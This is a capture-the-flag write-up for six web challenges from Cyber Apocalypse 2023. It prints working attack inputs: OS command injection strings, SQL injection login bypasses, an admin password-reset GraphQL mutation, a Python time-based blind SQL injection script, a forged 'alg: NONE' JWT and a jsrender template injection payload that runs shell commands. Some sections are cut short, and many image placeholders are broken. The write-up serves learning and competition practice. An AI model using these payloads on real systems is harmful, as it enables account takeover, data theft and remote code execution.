Try   HackMD

Writeup CTF Cyber Apocalypse 2023 - The Cursed Mission

Category Challenge Name Difficulty
Web Trapped Source Very Easy
Web Gunhead Very Easy
Web Drobots Very Easy
Web Passman Easy
Web Orbital Easy
Web Didactic Octo Paddles Medium

Trapped Source

Exploit:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

View source code, then i got correct pass 8291

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Trapped Source

Review:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The site has some features, especially the command

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Exploit:

The above code does ping to an ip address, there is no filter so it is easy to insert OS COMMAND INJECTION

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Input /ping 127.0.0.1 || ls - la /
Then cat file flag /ping 127.0.0.1 || cat /flag.txt

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Drobots

Review:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The website only displays the login function

@web.route('/')
def signIn():
    return render_template('login.html')

@web.route('/logout')
def logout():
    session['auth'] = None
    return redirect('/')

@web.route('/home')
@isAuthenticated
def home():
    return render_template('home.html', flag=flag)

@api.route('/login', methods=['POST'])
def apiLogin():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    
    if not username or not password:
        return response('All fields are required!'), 401
    
    user = login(username, password)
    
    if user:
        session['auth'] = user
        return response('Success'), 200
        
    return response('Invalid credentials!'), 403

After entering username and password, the code will execute login function

def login(username, password): # We should update our code base and use techniques like parameterization to avoid SQL Injection user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True) if user: token = createJWT(username) return token else: return False

In the entrypoint file, you can see that an username admin has already been added.
Then how to be able to login. And take the flag

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Exploit:

For example, if the input is as follows: username = "admin", password = "1"

user = query_db(f'SELECT password FROM users WHERE username = "admin" AND password = "1" ', one=True)

My idea is to add the sql comment to the part after the username, then the password parameter will be disabled (no effect)

username = admin" --

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Passman

Review:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The website has two functions: login and register.

First, I will try with the registration function (as a normal user), because after reviewing the source code, login cannot be exploited by SQL injection.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

After logging in, there is an additional function called 'Add Phrase'. Let's try using it.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Okay, let's take note of this function's API, and then review the source code to see what can be exploited.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

In the GraphqlHelper.js file, we will see how the Add Phrase function works (retrieving parameters and sending a response). And there are also some other functions that do not have a display function on the website.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Another interesting feature is 'Updatepassword'. Can I do anything with it? :D

Then let's try using it to change the password of my account.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ohhhh, so can I change the password of the admin account too? :v
It would be insane to brute force a 32-character password :))

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Okay, so it's successful, an IDOR vulnerability to change the password without being verified.

{
  "query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password){ message } }",
  "variables": {
    "username": "admin",
    "password": "123"
  }
}

Then, login username admin and password = 123

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Orbital

Review:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The website only shows one function, which is login

@api.route('/login', methods=['POST']) def apiLogin(): if not request.is_json: return response('Invalid JSON!'), 400 data = request.get_json() username = data.get('username', '') password = data.get('password', '') if not username or not password: return response('All fields are required!'), 401 user = login(username, password) if user: session['auth'] = user return response('Success'), 200

And login function:

def login(username, password): # I don't think it's not possible to bypass login because I'm verifying the password later. user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True) if user: passwordCheck = passwordVerify(user['password'], password) if passwordCheck: token = createJWT(user['username']) return token else: return False

passwordVerify:

def passwordVerify(hashPassword, password): md5Hash = hashlib.md5(password.encode()) if md5Hash.hexdigest() == hashPassword: return True else: return False

With this chall,it's slightly different from the previous one. When we input a correct (existing) username, then will the password be checked.

Verifypass function, I don't think it can be bypassed. And I'm thinking of another direction.

The way the query is written above can still be exploited by SQLi (SQL blind). Because it doesn't return the text "True" or "False" in the response header, so we will exploit it using Time-Based SQLi.

Exploit:

Ok, so now that we have determined that Time-Based SQLi is correct, we will exploit it to retrieve the password.

The password is generated with 32 characters in hexadecimal format.

import requests import time import string url = "http://link-chall/api/login" string = string.hexdigits ######## For test injection # data = {"username":"admin\" and IF(SUBSTR(username,1,1)=\"b\",SLEEP(3),SLEEP(0)) -- ", "password":"onsra"} # time_start = time.time() # r = requests.post(url, json = data) # time_end = time.time() # time_taken = time_end - time_start # print(time_taken) # print(r.text) ######## Exploit flag = "" for i in range(1,33): for j in string: print(j, end="\r") data = {"username":f"admin\" and IF(SUBSTR(password,{i},1)=\"{j}\",SLEEP(2),SLEEP(0)) -- ", "password":"onsra"} time_start = time.time() r = requests.post(url, json = data) time_end = time.time() time_taken = time_end - time_start if time_taken > 2: flag += j print(flag) break # 1692b753c031f2905b89e7258dbc49bb = ichliebedich

After running the brute-force script, we will receive the password in its MD5 hashed form. However, it's just a common word in the wordlist, and I have already cracked it.

1692b753c031f2905b89e7258dbc49bb = ichliebedich

After obtaining the admin's password, we will log in to the inside.

def getCommunication(): return query('SELECT * from communication') @web.route('/home') @isAuthenticated def home(): allCommunication = getCommunication() return render_template('home.html', allCommunication=allCommunication)

And we have an export feature written in code as follows:

Path traversal exploit?

Whyyyy? Why is it not allowed? :v

In dockerfile :D
And

Didactic Octo Paddles

Review:

After reading through the source code, there are some web entry points as follows:

  • register
  • login
  • cart
  • add-to-cart/:item
  • remove-from-cart/:item
  • admin

And

router.get("/", AuthMiddleware, async (req, res) => { try { const products = await db.Products.findAll(); res.render("index", { products: products }); } catch (error) { console.error(error); res.status(500).send("Something went wrong!"); } });

After we register an account, we will receive a JWT (JSON Web Token).

As there is an admin entrypoint, it is necessary to authenticate that the token is an admin. The question is whether we can crack the JWT to execute it.
This is the code for token authentication. (AdminMiddleware.js file)

Line 13, alg only checks for == "none", meaning we can inject other methods such as NoNE, NONE, Let's try it out.

Change alg = NONE, id = 1 , and delete payload
ex: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NDAyMTU3LCJleHAiOjE2Nzk0MDU3NTd9.

On the /admin page, all the usernames will be listed, note that jsrender is used. Hmmmm, have you thought about Node.js SSTI?

Ok, let's try it!

As the list of usernames will be displayed, let's register another account and test SSTI.

{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"a"}

The next step is just to cat the flag file. It's simple.